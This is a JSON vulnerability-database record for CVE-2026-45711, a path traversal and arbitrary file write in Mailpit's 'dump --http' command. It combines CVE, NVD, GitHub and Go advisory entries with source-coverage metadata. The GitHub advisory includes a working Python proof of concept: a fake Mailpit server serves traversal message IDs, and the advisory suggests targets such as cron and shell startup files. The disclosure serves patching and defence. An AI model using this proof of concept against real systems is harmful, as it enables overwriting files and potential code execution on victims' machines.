{"id":"GHSA-qx5x-85p8-vg4j","revision":null,"records":[{"revision":"df82a490944d426c80acb682e4a151df","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-45711","aliases":[],"title":"Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs","description":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.","state":0,"publishedAt":"2026-07-20T14:39:06.69+00:00","modifiedAt":"2026-07-21T15:42:56.143+00:00","affected":[{"ecosystem":"Vendor product","name":"mailpit","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"axllent\",\n                    \"product\": \"mailpit\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.30.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j","https://github.com/axllent/mailpit/releases/tag/v1.30.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-45711","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-45711","identifiers":["CVE-2026-45711"]},"retained":false,"historicalAffected":[]},{"revision":"35f37ab2ca0c41cb8fb6fc27ebafb3c3","observedAt":"2026-10-25T12:17:14.897+00:00","statement":{"source":"nvd","id":"CVE-2026-45711","aliases":[],"title":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the use…","description":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.","state":0,"publishedAt":"2026-07-20T16:17:00.333+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L","score":5.9,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"severity":"HIGH"}],"references":["https://github.com/axllent/mailpit/releases/tag/v1.30.0","https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45711","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22","CWE-829"],"productCriteria":["cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-20T16:17:00.333","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-45711","identifiers":["CVE-2026-45711"]},"retained":false,"historicalAffected":[]},{"revision":"057267fb5ef947d6960c3a70b03121f4","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qx5x-85p8-vg4j","aliases":["CVE-2026-45711","GO-2026-5599"],"title":"Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs","description":"### Summary\nThe mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.\n\n### Details\nAnyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.\n\n### Affected code\n[internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155):\n\npath.Join(\"/safe/out/dir\", \"../../../../etc/cron.d/payload.eml\") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.\n\nThe underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.\n\n### PoC\n\n1. Run a malicious \"Mailpit\" server that returns one message whose ID contains .. segments:\n\n```python\n# evil-mailpit.py\nimport http.server, json\n\nclass Evil(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        if \"/api/v1/messages\" in self.path:\n            resp = {\n                \"total\": 1, \"unread\": 0, \"count\": 1,\n                \"messages_count\": 1, \"messages_unread\": 0,\n                \"start\": 0, \"tags\": [],\n                \"messages\": [{\n                    \"ID\": \"../../../../tmp/mailpit-pwn\",          # ← traversal\n                    \"MessageID\": \"x\", \"Read\": False,\n                    \"From\": {\"Name\": \"\", \"Address\": \"a@b\"},\n                    \"To\":   [{\"Name\": \"\", \"Address\": \"c@d\"}],\n                    \"Cc\": None, \"Bcc\": None, \"ReplyTo\": [],\n                    \"Subject\": \"evil\",\n                    \"Created\": \"2026-01-01T00:00:00Z\",\n                    \"Tags\": [], \"Size\": 5,\n                    \"Attachments\": 0, \"Snippet\": \"\"\n                }]\n            }\n            body = json.dumps(resp).encode()\n            ctype = \"application/json\"\n        elif \"/raw\" in self.path:\n            body  = b\"PWNED BY MAILPIT DUMP TRAVERSAL\\n\"\n            ctype = \"text/plain\"\n        else:\n            self.send_response(404); self.end_headers(); return\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", ctype)\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\nhttp.server.HTTPServer((\"127.0.0.1\", 19090), Evil).serve_forever()\n```\n\n```\n$ python3 evil-mailpit.py &\n$ mkdir -p /tmp/dump-out\n$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out\n```\n\n2. Observe the file was written outside the requested output directory:\n\n```\n$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml\n/tmp/dump-out/                                        ← empty\ntotal 0\n-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml\n$ cat /tmp/mailpit-pwn.eml\nPWNED BY MAILPIT DUMP TRAVERSAL\n```\n\nThe same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.\n\n### Impact\nArbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.","state":0,"publishedAt":"2026-05-19T15:53:09+00:00","modifiedAt":"2026-09-02T23:45:04.7095418+00:00","affected":[{"ecosystem":"Go","name":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.30.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j","https://nvd.nist.gov/vuln/detail/CVE-2026-45711","https://github.com/axllent/mailpit","https://github.com/axllent/mailpit/releases/tag/v1.30.0"],"sourceUrl":"https://github.com/advisories/GHSA-qx5x-85p8-vg4j","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qx5x-85p8-vg4j","identifiers":["GHSA-qx5x-85p8-vg4j","CVE-2026-45711","GO-2026-5599"]},"retained":false,"historicalAffected":[]},{"revision":"b4efd80b79dc4c8e915183ddb293f5e6","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5599","aliases":["CVE-2026-45711","GHSA-qx5x-85p8-vg4j"],"title":"Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs in github.com/axllent/mailpit","description":"Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs in github.com/axllent/mailpit","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:01:32.6410037+00:00","affected":[{"ecosystem":"Go","name":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.30.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j","https://github.com/axllent/mailpit/releases/tag/v1.30.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5599","license":"OSV · upstream source license applies","key":"osv:GO-2026-5599","identifiers":["GO-2026-5599","CVE-2026-45711","GHSA-qx5x-85p8-vg4j"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T08:06:27.4054375+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T08:06:27.4054375+00:00","lastSuccessAt":"2026-10-27T08:06:27.6113185+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.6113197+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-18c597c2614da2501092bf7bec3d61f93c4af7d3dcf9d76137dd5a6a7b648ce8","complete":true,"records":414875,"lastAttemptAt":"2026-10-27T08:06:26.8191201+00:00","lastSuccessAt":"2026-10-27T08:06:26.7816085+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:26.8191201+00:00","snapshotPublishedAt":"2026-10-27T07:29:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T08:06:51.0390723+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T08:06:27.4054375+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T08:06:27.4054375+00:00","lastSuccessAt":"2026-10-27T08:06:27.7555276+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.7555289+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d8daf1b153174f24ae7b01adb4adcbf4","complete":true,"records":13416,"lastAttemptAt":"2026-10-27T08:06:48.9076777+00:00","lastSuccessAt":"2026-10-27T08:06:48.903+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:48.903+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13477,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-27T08:06:27.2041205+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.2041205+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T08:06:27.0036886+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.0036886+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-27T08:06:27.3077296+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.3077296+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2c2579bb03487537529e2b647fd2d9950cfc0fec1a9832dba33e322b8dcbe369","complete":true,"records":230812,"lastAttemptAt":"2026-10-27T08:06:27.1068006+00:00","lastSuccessAt":"2026-10-26T21:37:26.5810298+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.1068006+00:00","snapshotPublishedAt":"2026-10-26T21:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}